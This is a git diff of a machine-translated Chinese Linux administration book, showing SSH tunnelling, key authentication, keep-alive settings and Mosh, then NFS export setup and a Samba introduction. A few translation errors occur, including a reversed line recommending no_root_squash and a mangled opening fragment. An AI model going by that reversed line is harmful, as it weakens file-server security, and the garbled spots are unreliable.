中编辑连接的第一个屏幕 - -编辑 IP 地址界面,按向下箭头键选择**<自动>**左边的**IPv4 配置**和*进入*。 然后,按右箭头键选择**<显示>**选项,并展开其余字段。 - -![Managing connections with Network Manager](img/B03919_02_09.jpg) - -用 nmtui 编辑一个连接 - -要编辑一个项目,按向下箭头键到**<添加… >**选项旁边的字段。 它将展开一个文本框,允许您编辑该项。 - -![Managing connections with Network Manager](img/B03919_02_10.jpg) - -用 nmtui 编辑一个连接 - -当完成后,滚动直到下,然后按*在**:localhost: @10.10.10.101 - -``` - -基本上,我们使用`-L`标志执行 SSH 并使用`localhost`,因为我们打算将本地服务转发给远程服务。 但是,我们在命令的两端夹有一个端口和冒号。 左边的端口是本地端口在 IP 地址的右边,我们有一个冒号,然后是远程端口。 然后使用通常的语法结束该命令,即,输入用户名,然后输入用于连接的网关的 IP 地址。 - -困惑了吗? 让我们进一步分析并使用一个示例。 - -默认情况下,VNC(一个图形远程访问程序)使用端口 5900-5902。 如果您想要访问 IP 地址为`10.10.10.101`的远程主机上的桌面环境,使用以下命令: - -```sh -ssh -L 5900:localhost:5901 jdoe@10.10.10.101 - -``` - -这里,我们将本地机器上的端口`5900`转发到`10.10.10.101`上的端口`5901`。 一旦会话连接起来并建立起来,我们就可以在我们本地机器的 VNC 查看应用中使用以下命令连接到远程端的 VNC 服务: - -```sh -localhost:5900 - -``` - -只要使用`localhost:5900`,我们就会被转发到我们的远程机器上。 要结束会话,请从 SSH 连接退出。 对于 VNC,我们需要指定使用哪个 VNC 会话。 为了使用 VNC 查看器应用打开一个 VNC 会话到`10.10.10.101`,我们将执行以下命令: - -```sh -vncviewer localhost:1 - -``` - -但是,如果我们希望连接到的机器或服务位于不同的网关后面,该怎么办? 前面的示例仅在 IP 地址`10.10.10.101`通过 Internet 可路由的情况下有效,或者我们实际上与希望连接到的资源位于同一网络上。 但情况并非总是如此,通常有用的服务不会直接暴露给 Internet。 例如,如果您在家里,并希望连接到工作网络中的一台计算机上的远程桌面协议,前面的示例将不起作用。 - -在本例中,在办公室中,我们有一台带有远程桌面的计算机,其 IP 地址为`10.10.10.60`。 我们不能从家里直接到这台机器,因为它无法通过互联网路由。 然而,我们碰巧有一个服务器在工作,它实际上是通过外部 IP 地址`66.238.170.50`向 Internet 公开的。 我们可以通过 SSH 直接从主机进入该机器,但是主机`10.10.10.60`在该网络中更远。 - -在这里,我们可以利用主机`66.238.170.50`来方便我们连接到工作网络内部的`10.10.10.60`。 让我们看一个命令: - -```sh -ssh -L 3388:10.10.10.60:3389 jdoe@66.238.170.50 - -``` - -在本例中,`jdoe`在主机`66.238.170.50`上拥有一个用户帐户,并希望连接到主机`10.10.10.60`,该主机位于其公司网络内。 本例中,`jdoe`正在将`localhost`上的本地端口`3388`转发到主机`10.10.10.60`上的端口`3389`,但是通过主机`66.238.170.50`建立连接。 现在,用户`jdoe`可以打开远程桌面客户端,并使用以下命令获取连接地址: - -```sh -localhost:3388 - -``` - -只要 SSH 连接保持打开状态,`jdoe`就可以从本地计算机利用服务器上的远程桌面。 如果 shell 关闭,则连接将终止。 - -使用 SSH 隧道非常有用。 请随意尝试一下,看看哪些服务可以通过您的网络转发。 - -# 生成公钥 - -SSH 还支持**公钥认证**,在传统密码的基础上,更加安全。 虽然 SSH 使用协议 2 使用的加密很强大,但如果您的密码被泄露或强制使用,即使是世界上最强大的加密也无法拯救您。 这在任务关键型服务器上尤其严重。 - -利用公钥身份验证允许您使用私钥和公钥关系连接到主机,而不是使用密码。 默认情况下,SSH 允许用户通过用户名/密码组合或用户名/密钥对组合登录。 第一种方法只和密码一样安全。 通过使用公钥身份验证,您可以完全绕过对密码的需要,并且无需提示就可以连接到服务器。 但是,如果服务器仍然接受您的密码作为身份验证的手段,那么公钥身份验证就不是最强大的。 - -在 SSH 连接的服务器端,可以将其配置为只接受公钥而不是密码的身份验证。 如果禁用了密码身份验证,那么没有人能够暴力使用密码并进入服务器,因为密码将被忽略。 如果攻击者无法访问私钥,那么他或她将无法连接。 - -使用`ssh-keygen`命令生成密钥对很简单,该命令将指导您完成设置密钥的过程。 在这个过程中,您将被要求创建一个密码短语。 如果您愿意,您可以忽略此提示并简单地按下*Enter*来创建一个没有密码短语的密钥。 然而,这样做会大大降低密钥的安全性。 虽然通过 SSH 连接到主机时,不需要输入任何东西肯定要方便得多,但绝对建议使用密码短语并从增加的安全性中受益。 - -使用公钥身份验证,将在用户的主目录中创建两个文件:`id_rsa`和`id_rsa.pub`。 这些文件是在执行前面提到的`ssh-keygen`时运行进程时创建的。 命令完成后,这两个文件应该位于主目录的`.ssh`目录中。 `id_rsa`文件是您的私钥。 你应该把它保存在本地,不要在公共场所传播或分享它。 `id_rsa.pub`文件是您的公钥,您可以安全地将其复制到您连接到的其他主机。 从此以后,您将能够使用公钥身份验证连接到另一个主机。 - -让我们总结一下整个过程。 首先,在登录到本地计算机或主机时,执行`ssh-keygen`并遍历这些步骤。 确保为增加安全性创建一个密码短语。 - -![Generating public keys](img/B03919_03_01.jpg) - -使用 SSH -keygen 创建 SSH 密钥对 - -接下来,利用`ssh-copy-id`命令将密钥复制到要连接的远程服务器。 命令语法如下。 - -```sh -ssh-copy-id -i ~/.ssh/id_rsa.pub - -``` - -这个命令将把您的公钥复制到目标机器上的`~/.ssh`文件夹下的`authorized_keys`文件中。 这个文件存储了机器知道的所有密钥。 如果在运行`ssh-copy-id`进程之前和之后进行检查,您会注意到目标上的`authorized_keys`文件不存在,或者直到执行该命令之后才包含您的键。 - -![Generating public keys](img/B03919_03_02.jpg) - -使用 ssh-copy-id 将公钥复制到远端主机 - -如前所述,可以将计算机或服务器配置为不允许通过密码进行身份验证,而只允许公钥身份验证。 这部分将在[第 9 章](09.html "Chapter 9. Securing Your Network")、*保护您的网络*中进一步讨论。 现在,重要的是养成生成、复制和使用键的习惯。 您可以在本地机器上创建一个密钥对,并将公钥复制到您经常连接的服务器上。 - -# 保持 SSH 连接有效 - -取决于如何配置您的 SSH 服务器或内部防火墙,您的 SSH 会话可能会在一段时间后自动断开。 可以将 SSH 配置为每隔几秒发送一个特殊的包,以防止连接空闲并成为断开连接的候选者。 如果您有一个使用 SSH 的服务,并且您不想断开连接,那么这将非常有用。 要使用这个调整,我们必须配置`ServerAliveInterval`设置。 - -有两种配置方法,一种影响您的用户帐户,另一种将在系统范围内部署设置。 首先,让我们研究如何为您的用户帐户配置此功能。 - -还记得我们在本章前面配置的`~/.ssh/config`文件吗? 在文本编辑器中再次打开它。 这里是这个文件的一个示例,以方便您: - -```sh -Host icarus -Hostname 10.10.10.76 -Port 22 -User jdoe - -Host daedalus -Hostname 10.10.10.88 -Port 65000 -User duser - -Host dragon -Hostname 10.10.10.99 -Port 22 -User jdoe - -``` - -和以前一样,我们有三个系统。 如果我们希望配置一个主机,例如`icarus`,每 60 秒发送一次活包,我们可以添加以下设置: - -```sh -Host icarus -ServerAliveInterval 60 -Hostname 10.10.10.76 -Port 22 -User jdoe - -``` - -如果我们希望为我们连接到的所有主机设置`ServerAliveInterval`,我们可以将此选项作为通配符添加到文件的顶部: - -```sh -Host * -ServerAliveInterval 60 - -``` - -这样,设置将对我们发起连接的所有系统生效。 虽然我们(还)没有讨论它们,但是 SSH 有两个系统级(全局)配置文件。 我们将在本书的后面讨论这些文件,但本节的主题是给你一个快速介绍的机会: - -* `/etc/ssh/ssh_config`:该文件将影响所有进行出站连接的用户。 可以把它看作客户机配置文件。 -* `/etc/ssh/sshd_config`:服务器的全局配置文件。 - -在这两个文件中配置的任何内容都会影响到任何人。 `ssh_config`文件影响所有出站连接,`sshd_config`影响所有传入连接。 对于本节,我们感兴趣的文件是`ssh_config`文件,因为我们可以通过在其中包含`ServerAliveInterval`来为所有用户设置`ServerAliveInterval`设置。 事实上,无论我们是配置`/etc/ssh/ssh_config`还是本地`~/.ssh/config`文件,选项都是相同的。 只需将其添加到文件的末尾: - -```sh -ServerAliveInterval 60 - -``` - -当然,我们将在本书的后面进一步探讨如何配置这些选项。 现在,只需记住这两个文件的目的和它们的位置。 - -# 探索 SSH 的替代方案-利用 Mosh(移动 shell) - -当使用开始使用 SSH 时,您可能会立即注意到一个问题:如果您的网络连接中断,可能很难重新控制您正在连接的机器上进行的操作。 这在笔记本电脑上尤其常见,因为你在这类设备上的连接状态会根据你所处的位置或连接到的网络而改变。 当在终端多路复用器(如 tmux 或屏幕)中运行命令时,可以在断开连接后保持工作流活动,有一个可能适合您的 SSH 替代方案。 **Mosh**(**mobile shell**)是 SSH 的另一种选择,它将保持您的远程会话活着,即使您从资源所在的网络断开。 当你重新连接到网络,Mosh 将允许你在你离开的地方重新开始。 - -在 Debian 中安装 Mosh 非常简单。 只需安装`mosh`包,因为它可以从默认存储库中获得: - -```sh -# apt-get install mosh - -``` - -在 CentOS 中,Mosh 无法从该发行版的默认存储库中获得,因此您首先需要添加一个额外的存储库才能使用它。 首先,使用以下命令启用 EPEL 存储库: - -```sh -# yum install epel-release - -``` - -然后,您应该能够安装`mosh`包: - -```sh -# yum install mosh - -``` - -为了使 Mosh 有效,您不仅需要在本地机器上安装它,还需要在您希望连接到的任何机器上安装它。 语法类似于 SSH: - -```sh -mosh jdoe@10.10.10.101 - -``` - -像 SSH 一样,我们可以提供`-p`标志来指定要使用的不同端口: - -```sh -mosh -p 2222 jdoe@10.10.10.101 - -``` - -实际上,Mosh 实际上利用 SSH 来启动连接,然后由 Mosh 程序接管。 连接后,您可以通过移除网络电缆或从无线接入点断开连接来模拟断开。 您将注意到,下次使用 mosh 连接时,您的会话应该与离开时一样。 要了解其神奇之处,请考虑在断开连接之前启动一个进程(例如运行`top`命令)。 - -虽然有许多方法可以让进程在远程服务器上运行,即使您的会话断开时,Mosh 是更新和更独特的解决方案之一。 试试吧! - -# 总结 - -在本章中,我们讨论了 SSH 的所有荣耀。 我们首先讨论了什么是 SSH 以及它为什么有用,然后我们确保在我们的系统上安装了它。 使用 SSH,我们能够连接到其他 Linux 机器并执行命令。 我们还了解了在`~/.ssh/config`文件中配置主机以及使用`scp`将文件从一个主机传输到另一个主机。 此外,还讨论了 SSH 隧道,并介绍了公钥身份验证。 我们以介绍 Mosh 来结束本章,它是 SSH 的一个简洁的替代方案。 - -在下一章中,我们将通过设置我们自己的文件服务器来解决文件共享问题。 我们将通过 Samba 和 NFS 设置文件共享,以及每个解决方案的独特之处。 看到你在那里!* \ No newline at end of file diff --git a/docs/master-linux-net-admin/04.md b/docs/master-linux-net-admin/04.md deleted file mode 100644 index f111b992..00000000 --- a/docs/master-linux-net-admin/04.md +++ /dev/null @@ -1,562 +0,0 @@ -# 四、设置文件服务器 - -在前一章中,我们介绍了 SSH 并讨论了 SCP。 虽然 SCP 是手动将单个文件从一个地方传输到另一个地方的好方法,但是拥有一个或多个中心位置来存储共享文件会给网络增加很多价值。 无论您是在业务网络上共享重要文件,还是在家庭网络上共享家庭相册,网络上的中央文件存储位置都是一个方便的资产。 在本章中,我们将讨论实现这一目标的三种方法。 我们将首先讨论设计文件服务器时的一些注意事项,然后讨论 NFS、Samba 和 SSHFS。 - -在本章中,我们将介绍: - -* 文件服务器的考虑 -* NFS v3 和 NFS v4 -* 设置 NFS 服务器 -* 学习 Samba 的基础知识 -* 设置 Samba 服务器 -* 越来越多的网络共享 -* 通过 fstab 和 systemd 自动挂载网络共享 -* 使用 SSHFS 创建网络文件系统 - -# 文件服务器注意事项 - -与 Linux 世界中的大多数事情一样,实现任何目标的方法都不止一种。 对于每种方法,在实现解决方案之前都有大量的最佳实践和注意事项需要理解。 正如前面提到的,三个最常见的共享文件的方法从一个 Linux 系统,另一个是**网络文件系统(NFS**),**Samba【显示】,**Secure Shell 文件**【病人】系统**(**SSHFS**)。 这三种主要服务于不同的需求,您的网络布局将决定您应该使用哪一种。**** - -在设计网络文件服务器时,首先要考虑的是需要什么类型的平台来访问它的文件。 在基于 linux 的环境中,NFS 通常是一个很好的选择; 但是,它也不能处理混合环境,所以如果您的网络上有需要共享文件的 Windows 机器,您可能不想选择它。 并不是说你不能在 Windows 系统上访问 NFS 共享(你当然可以),而是微软限制了 NFS 的可用性(称为**NFS 服务)**,只有是每个 Windows 版本中最昂贵的版本。 如果您使用支持 NFS 的 Windows 版本,那么为 NFS 提供的服务是不错的,但是由于您需要克服额外的许可障碍,因此最好避免使用它。 一般来说,只有当您的网络主要由 UNIX 和 Linux 节点组成时,NFS 才是一个很好的选择。 - -接下来要考虑的是 Samba。 Samba 允许您在所有三个主要平台(Windows、Linux 和 Mac OSX)之间共享文件,是混合环境中的一个很好的选择。 由于 Samba 使用**SMB**协议,所以无论您安装的是什么版本,Windows 系统都能够访问您的 Samba 共享,因此许可证问题不大。 事实上,即使是标准版或家庭版的 Windows 也能够访问这些共享,不需要安装额外的插件。 Samba 的缺点是它处理权限的方式。 在 Windows 和 Linux 节点之间保存文件时,需要做一些额外的工作来处理权限,因此在处理需要保留特定权限的 UNIX 或 Linux 节点时,它并不总是最佳选择。 - -最后,SSHFS 是另一种主要用于在 Linux 节点之间共享文件的方法。 当然可以从 Windows 连接和访问 SSHFS,但只能使用第三方实用程序,因为 Windows 中不存在内置方法(至少在编写本章的时候)。 SSHFS 的优点在于它的易用性和文件传输是加密的。 虽然加密确实可以帮助您避免窃听,但请记住,SSHFS(就像任何其他解决方案一样)的安全性仅取决于您现有的策略。 但是如果使用得当,SSH(和 SSHFS)是一种从一个节点到另一个节点传输文件的安全方法。 此外,SSHFS 是这里列出的三个最容易运行的方法。 您所需要的只是访问另一个节点和访问一个或多个目录的权限。 这就是您所需要的全部内容,然后您就能够自动地创建一个 SSHFS 连接到您可以访问的任何目录。 SSHFS 的另一个好处是,除了 SSH 本身之外,服务器上没有什么可配置的,而大多数服务器都有可用的 SSH。 还可以非常快速地创建和断开 SSHFS 连接。 我们将在本章后面讨论 SSHFS。 - -# NFS v3 vs . NFS v4 - -关于 NFS 的另一个考虑事项是您将要使用的版本。 现在,大多数(如果不是全部的话)Linux 发行版默认使用 NFS v4。 然而,在某些情况下,您的网络上可能有较旧的服务器,您需要能够连接到它们的共享。 虽然 NFS v4 肯定是未来的首选版本,但您可能需要使用旧协议连接到节点。 - -在这两种情况下,通过编辑`/etc/exports`文件,可以通过 NFS 共享文件服务器上的目录,您将在其中列出您的共享(导出),每行一个。 我们将在下一节中更详细地讨论这个文件。 但是现在,请记住,`/etc/exports`文件是您声明文件系统上哪些目录可用于 NFS 的地方。 不同版本的 NFS 具有不同的处理文件锁的技术,它们在**idmapd**的引入、性能和安全性方面也有所不同。 还有其他差异如 NFS v4 迁移到 TCP-only(以前版本的协议允许 TCP 或 UDP),是**【显示】状态,在以前的版本**无状态**。** - -由于是有状态的,NFS v4 将文件锁定作为协议本身的一部分,而不是像 NFS v3 那样依赖**网络锁管理器**(**NLM**)来提供该功能。 如果 NFS 服务器崩溃或不可用,连接到它的一个或多个节点可能已经打开了文件,这些文件将被锁定到这些节点上。 当 NFS 服务器开始备份时,它会重新建立这些锁,并尝试从崩溃中恢复。 尽管 NFS 服务器在恢复方面做得相当好,但它们并不是完美的,而且有时文件锁定可能成为管理员处理的噩梦。 对于 NFS v4, NLM 已经退役,并且文件锁定是协议本身的一部分,因此可以更有效地处理锁。 然而,它仍然不完美。 - -那么,您应该使用哪个版本呢? 建议在您的所有节点和服务器上始终使用 NFS v4,除非您正在处理一个使用旧协议的旧服务器,而您仍然需要支持这些协议。 - -## 设置 NFS 服务器 - -配置 NFS 服务器相对简单。 实际上,您所需要做的就是安装所需的包,创建/`etc/exports`文件,并确保所需的守护进程(服务)正在运行。 在这个活动中,我们将设置一个 NFS 服务器,并从一个不同的节点连接到它。 为了做到这一点,建议您至少使用两台 Linux 机器。 不管这些机器是物理的还是虚拟的,或者它们的任何组合。 如果你已经完成了[第 1 章](01.html "Chapter 1. Setting up Your Environment"),*设置你的环境*,你应该已经有几个节点了; 希望是 Debian 和 CentOS 的混合,因为它们之间的过程有一点不同。 - -首先,让我们设置 NFS 服务器。 选择一台机器作为 NFS 服务器并安装所需的包。 无论您选择哪种发行版作为服务器还是选择哪种发行版作为客户端,我都将介绍 CentOS 和 Debian 的配置过程。 由于相当多的发行版不是基于 Debian 就是使用与 CentOS 相同的配置,这应该适用于大多数发行版。 如果您使用的发行版不遵循任何一个包命名约定,那么您所要做的就是查找要在服务器上为您的特定发行版安装哪个包或元包。 其余的配置应该是相同的,因为 NFS 是相当标准的。 - -为了在 CentOS 系统上安装所需的软件包,我们将执行以下命令: - -```sh -# yum install nfs-utils - -``` - -对于 Debian,我们安装了`nfs-kernel-server`: - -```sh -# apt-get install nfs-kernel-server - -``` - -### 注意事项 - -在安装这些包的过程中,您可能会收到一个错误,认为 NFS 还没有启动,因为文件系统上没有`/etc/exports`。 当您在某些发行版上安装所需的 NFS 包时,这个文件可能不会自动创建。 即使它是自动创建的,该文件也只是一个框架。 如果您确实收到这样的错误,忽略它。 我们将很快创建这个文件。 - -接下来,我们要确保启用了与 NFS 相关的服务,以便服务器一启动它们就启动。 对于 CentOS 系统,我们将使用以下命令: - -```sh -# systemctl enable nfs-server - -``` - -对于 Debian,我们可以通过以下方式启用 NFS: - -```sh -# systemctl enable nfs-kernel-server - -``` - -请记住,我们只是在服务器上启用了 NFS 守护进程,这意味着当系统重新启动时,NFS 也将启动(如果我们正确地配置了它)。 然而,我们不需要重启整个服务器才能启动 NFS; 我们可以在创建配置文件后的任何时候开始。 因为我们还没有实际配置 NFS,所以还不需要启动这个守护进程。 我们稍后再做。 实际上,在我们真正创建配置之前,您的发行版可能不会让您启动 NFS。 - -下一步是确定我们希望在网络上使用服务器上的哪些目录。 您共享的目录基本上取决于您。 Linux 文件系统中的任何内容都可以作为 NFS 导出的候选对象。 然而,一些目录,如`/etc`(包含您的系统配置)或任何其他系统目录,可能最好保持私有。 虽然您可以共享系统上的任何目录,但通常的做法是创建一个单独的目录来存放所有共享,然后在下面创建子目录,然后将这些子目录共享给您的客户机。 - -例如,您可以在文件系统的根目录(`mkdir /exports`)上创建一个名为`exports`的目录,然后创建其他用户可以访问的目录(如`docs`和`images`)。 这样做的好处在于,您的共享可以从一个地方(`/exports`目录)进行管理,而且 NFS 本身能够将该目录分类为导出根目录(我们将在后面讨论这个问题)。 在继续之前,在文件系统上创建一些用于共享的目录,因为在下一节中我们将把这些目录放在配置文件中。 - -确定了文件系统中希望共享的目录并创建它们之后,就可以开始实际的配置了。 每个 NFS 共享(称为导出)都是通过在`/etc/exports`文件中为每个希望共享的目录添加一行来配置的。 因为您已经安装了在系统上获取 NFS 所需的包,所以这个文件可能存在,也可能不存在。 根据我的经验,CentOS 不会在安装期间创建这个文件,而 Debian 会。 但是,即使您得到了一个默认的`exports`文件,它也只会包含一些没有任何实际用途的注释掉的代码行。 事实上,在安装过程中,您甚至可能收到一个警告或错误,说没有启动 NFS 守护进程,因为没有找到`/etc/exports`。 这很好,因为我们很快就会创建这个文件。 - -虽然默认的`exports`文件在不同的发行版之间是不同的(如果它是在默认情况下创建的),但是创建新导出的格式是相同的,不管您选择的是哪种发行版,因为 NFS 是相当标准的。 添加导出的过程是在您喜欢的文本编辑器中打开`/etc/exports`文件,并将每个导出添加到自己的行中。 任何实际的文本编辑器都可以,只要它是文本编辑器而不是文字处理程序。 例如,如果你是 vim 的粉丝,你可以执行以下命令: - -```sh -# vim /etc/exports - -``` - -如果选择`nano`,可以执行以下命令: - -```sh -# nano /etc/exports - -``` - -事实上,如果您更喜欢使用 GUI 工具,您甚至可以使用图形文本编辑器,如 Gedit、Kate、Pluma 或 Geany。 在大多数发行版的存储库中都可以找到这些包。 - -### 注意事项 - -这可能是不言而喻的,但要编辑`/etc`目录内的文件或根目录下的任何其他文件,您需要在这些命令前加上`sudo`前缀,以便在不以根用户身份登录的情况下编辑它们。 作为最佳实践,建议不要以 root 身份登录,除非绝对必要。 如果以普通用户登录,执行以下命令: - -```sh -sudo vim /etc/exports - -``` - -在 Debian 中,您将看到默认的`/etc/exports`文件包含一个注释列表,这可能有助于查看导出的格式化方式。 我们可以通过简单地将它们添加到文件的末尾来创建新的导出,并保留其内容。 如果您希望从一个空白文件开始,您可能需要备份原始文件,以便以后需要引用它。 - -```sh -# mv /etc/exports /etc/exports.default - -``` - -在您最喜欢的文本编辑器中打开文件后,您就可以开始了。 您希望共享或*导出*的所有目录都应该放在这个文件中,每行一个。 然后,向共享添加参数,以控制如何访问该共享以及由谁访问。 这里有一个示例导出文件与一些示例目录和一些基本配置参数为每个: - -```sh -/exports/docs 10.10.10.0/24(ro,no_subtree_check) -/exports/images 10.10.10.0/24(rw,no_subtree_check) -/exports/downloads 10.10.10.0/24(rw,no_subtree_check) - -``` - -从这些导出示例中可以看到,每个导出示例的格式基本上包括我们想要导出的目录、我们想要允许访问的网络地址,以及括号中的一些附加选项。 你可以在这里添加许多选项,我们将在本章的后面讨论其中的一些。 但是,如果您想查看这里可以设置的所有选项,请参考以下`man`命令: - -```sh -man exports - -``` - -让我们来讨论一下前面使用的示例`exports`文件的每个部分: - -* `/exports/docs`:第一部分包含我们要导出到网络上其他节点的目录。 如前所述,您几乎可以共享任何您想要的目录。 但是,仅仅因为您*可以*共享目录并不意味着您*应该*共享。 只共享您不介意其他人访问的目录。 -* `10.10.10.0/24`:在这里,我们限制对`10.10.10.0/24`网络中的节点的访问。 网络之外的节点将不能挂载任何这些导出。 在本例中,我们可以使用`10.10.10.0/255.255.255.0`,也可以得到相同的结果。 在我们的示例中,使用了`/24`,它被称为**无类域间路由**(**CIDR**)表示法,这是输入子网掩码的速记法。 当然,CIDR 的含义远不止于此,但是现在,请记住,使用 CIDR 符号而不是子网掩码是为了使示例更简短(另外,它看起来更酷)。 -* `ro`:在第一个导出(文档)中,我将其设置为只读,只是为了告诉您可以这样做。 这可能是不言自明的,但是将目录导出为只读将允许其他人挂载导出并访问其中的文件,但不会对任何内容进行任何更改。 -* `rw`:读写导出允许挂载它的节点创建新文件和修改现有文件(只要用户对文件本身设置了所需的权限)。 -* `no_subtree_check`:虽然这个选项是默认的,我们实际上不需要显式地发出请求,但不包括它可能会在重新启动 NFS 时引起抱怨。 这个选项是与`subtree_check`相反的,而`subtree_check`是现在大部分被避免的。 特别是这个选项,它控制服务器在处理导出操作时是否扫描底层文件系统,这可以稍微提高安全性,但降低可靠性。 由于禁用该选项可以提高可靠性,所以在最近的 NFS 版本中将其设置为默认值。 - -虽然我没有在任何示例中使用它,但是您将在`/etc/exports`中看到设置的一个常见导出选项是`no_root_squash`。 设置此选项允许终端用户设备上的根用户对导出中包含的文件具有根访问权。 在大多数情况下,这不是一个好主意,但你会时不时地在野外看到这种情况。 这与`root_squash`相反,后者将根用户映射到 nobody。 除非你有很好的理由不这样做,`no_root_squash`就是你想要的。 - -除了对单个网络的选项进行分类之外,还可以通过将导出的配置添加到同一行中,使导出可用于其他网络。 下面是一个与其他网络共享的`docs`挂载的示例: - -```sh -/exports/docs 10.10.10.0/24(ro,no_subtree_check),192.168.1.0/24(ro,no_subtree_check) - -``` - -在这个示例中,我们导出了`/exports/docs`,以便`10.10.10.0/24`网络和`192.168.1.0/24`网络中的节点能够访问它。 虽然我对两者都使用了相同的选项,但您不必这样做。 您甚至可以将导出配置为对一个网络只读,并在需要时对另一个网络进行读写。 - -到目前为止,我们一直在与整个网络分享我们的出口。 这是通过将允许的 IP 地址的最后 8 个字节设置为`0`来实现的。 对于最后一个示例,任何 IP 地址为`10.10.10.x`或`192.168.1.x`且子网掩码为`255.255.255.0`的节点都有资格访问导出。 然而,您可能并不总是希望允许访问整个网络。 也许您想要允许访问单个节点。 你可以很容易地对单个节点进行分类: - -```sh -/exports/docs 10.10.10.191/24(ro,no_subtree_check) - -``` - -在前面的示例中,我们允许 IP 地址为`10.10.10.191`的节点访问导出。 指定一个 IP 地址或网络可以提高安全性,尽管它不是 100%的全覆盖。 然而,在构建安全策略时,限制对绝对需要它的主机的访问是一个很好的开始。 我们将在[第 9 章](09.html "Chapter 9. Securing Your Network")、*保护您的网络*中更详细地讨论安全性。 但是现在,请记住,您可以根据特定的网络或单个 ip 限制对导出的访问。 - -前面,我们讨论了这样一个事实:从 Version 4 开始,NFS 可以使用一个目录作为它的导出根,也称为 NFS 伪文件系统。 在`/etc/exports`文件中,通过在导出该目录时将`fsid=0`或`fsid=root`作为选项来标识。 在本章中,我们一直使用`/exports`作为 NFS 导出的基础。 如果我们想将这个目录标识为导出根目录,我们将像这样更改`/etc/exports`文件: - -```sh -/exports *(ro,fsid=0) -/exports/docs 10.10.10.0/24(ro,no_subtree_check) -/exports/images 10.10.10.0/24(rw,no_subtree_check) -/exports/downloads 10.10.10.0/24(rw,no_subtree_check) - -``` - -一开始,这个概念可能会让人很困惑,所以让我们把它分解一下。 在第一行中,我们确定了导出根: - -```sh -/exports *(ro,fsid=0) - -``` - -这里,我们声明`/exports`作为导出根。 现在这是 NFS 文件系统的根。 当然,就 Linux 本身而言,您有一个以`/`开始的完整文件系统,但是就 NFS 而言,它的文件系统现在是从`/exports`开始的。 在这一行中,我们还将`/exports`声明为只读。 我们不希望任何人修改这个目录,因为它是 NFS 根目录。 它也与所有人共享(请注意`*`),但这并不重要,因为我们为每个导出设置了更细粒度的权限。 有了 NFS 根,客户机现在就可以挂载这些导出,而不需要知道到达导出的完整路径。 - -例如,用户可以输入以下命令将我们的`downloads`导出挂载到他或她的本地文件系统: - -```sh -# mount 10.10.10.100:/exports/downloads /mnt/downloads - -``` - -这就是从本地文件服务器(本例中为`10.10.10.100`)挂载 NFS 导出的方式,使用 NFS 根挂载的是*而不是*。 这要求用户知道该目录位于该服务器上的`/exports/downloads`。 但是有了 NFS 根,我们可以让用户简化`mount`命令,如下所示: - -```sh -# mount 10.10.10.100:/downloads /mnt/downloads - -``` - -注意,我们在前面的命令中省略了/exports。 虽然这看起来并不多,但我们基本上是要求服务器提供`downloads`导出,无论它在文件系统上的哪个位置。 `downloads`目录是否位于`/exports/downloads`、`/srv/nfs/downloads`或其他位置都无关紧要。 我们只需请求`downloads`导出,服务器就知道它在哪里,因为我们设置了 NFS 根。 - -现在我们已经配置了`/etc/exports`文件,最好编辑`/etc/idmapd.conf`配置文件来配置一些额外的选项。 这不是绝对必须的,但绝对是推荐的。 默认的`idmapd.conf`文件不同于不同的发行版,但是每个发行版都包含我们需要在本节中配置的选项。 首先,查找像下面这样的一行(或非常类似): - -```sh -# Domain = local.domain - -``` - -首先,需要取消对这一行的注释。 删除`#`符号和末尾的空格,使行以`Domain`开始。 然后,将域设置为与网络上的其他节点相同。 这个域很可能是在安装期间选择的。 如果您不记得您的域名是什么,运行`hostname`命令应该会显示您的域名,它紧跟在您的主机名之后。 对希望能够访问 NFS 导出的每个节点执行此操作。 - -您可能想知道为什么这是必要的。 当创建用户和组帐户一个 Linux 系统,他们分配了一个**UID**(**【显示】用户 ID)和**GID**(**【病人】组 ID)。 除非以相同的顺序在所有系统上创建用户帐户,否则每个节点上的 UID 和 GID 很可能是不同的。 即使您以相同的顺序创建用户和组帐户,它们仍然可能是不同的。 `idmapd`文件通过将这些 uid 从一个系统映射到另一个系统来帮助我们。 为了让`idmapd`工作,`idmapd`守护进程必须在每个节点上运行,并且该文件也应该配置相同的域名。 在 CentOS 和 Debian 上,这个守护进程运行在`/usr/sbin/rpc.idmapd`下,并与 NFS 服务器一起启动。**** - -所以,你可能会想; `Nobody-User`和`Nobody-Group`的目的是什么? `nobody`用户运行脚本或命令,如果这些脚本或命令由特权用户运行,将是危险的。 一般情况下,`nobody`用户无法登录系统,且没有主目录。 如果您以`nobody`的方式运行一个进程,那么它的范围将受到限制,如果需要对帐户进行妥协的话。 对于 NFS,`nobody`用户和`nobody`组具有特殊的用途。 如果文件属于一个系统上的特定用户,而在另一个系统上不存在,那么该文件的权限将显示为由`nobody`用户和组拥有。 当没有设置`no_root_squash`时,通过根用户访问文件也是如此。 根据您使用的发行版的不同,这些帐户可能有不同的名称。 在 Debian 中,`Nobody-User`和`Nobody-Group`都默认为`nobody`。 在 CentOS 中,这些都是`nobody`。 您可以在您的`idmapd.conf`文件中看到哪个帐户用于`nobody`用户和`nobody`组。 您不需要重命名这些帐户,但是如果由于某些原因您需要重命名这些帐户,您将需要确保`idmapd.conf`文件具有正确的名称。 - -现在我们已经配置了 NFS 并准备就绪,那么如何开始使用它呢? 如果您一直在跟踪本文,您可能已经发现我们启用了 NFS 守护进程,但还没有启动它。 既然配置已经就位,没有什么能阻止我们这样做。 - -在 Debian 上,我们可以通过执行以下命令来启动 NFS 守护进程: - -```sh -# systemctl start nfs-kernel-server - -``` - -在 CentOS 上,我们可以执行以下命令: - -```sh -# systemctl start nfs-server - -``` - -从这一点开始,我们的 NFS 导出应该是共享的,并准备好了。 在本章的后面,我将解释如何在其他系统上安装这些导出(以及 Samba 共享)。 - -NFS 中还有一件事值得一提。 每当 NFS 守护进程启动时,都会读取`/etc/exports`文件,这意味着您可以通过重新启动服务器或 NFS 守护进程,在添加新导出之后激活它们。 但是,在生产环境中,不适合重新启动 NFS 或服务器本身。 这将中断当前正在使用它的用户,并可能导致陈旧的挂载,即到网络共享的无效连接(这不是一个好情况)。 幸运的是,在不重新启动 NFS 本身的情况下激活新的导出是很容易的。 简单地执行下面的命令,你就会很好: - -```sh -# exportfs -a - -``` - -# 学习 Samba 的基础知识 - -与 NFS 一样,Samba 允许您与网络中的其他计算机共享服务器上的目录。 尽管两者都服务于相同的目的,但它们适合不同的环境和用例。 - -NFS 是最古老的方法,在 Linux 和 UNIX 世界中广泛使用。 虽然我们确实有更新的解决方案(比如 SSHFS),但 NFS 是经过实践检验的。 但在混合环境中,这可能不是最好的解决方案。 现在,网络上可能不是每台计算机都运行特定的操作系统,因此可能存在 NFS 访问不可用或不实际的节点。 - 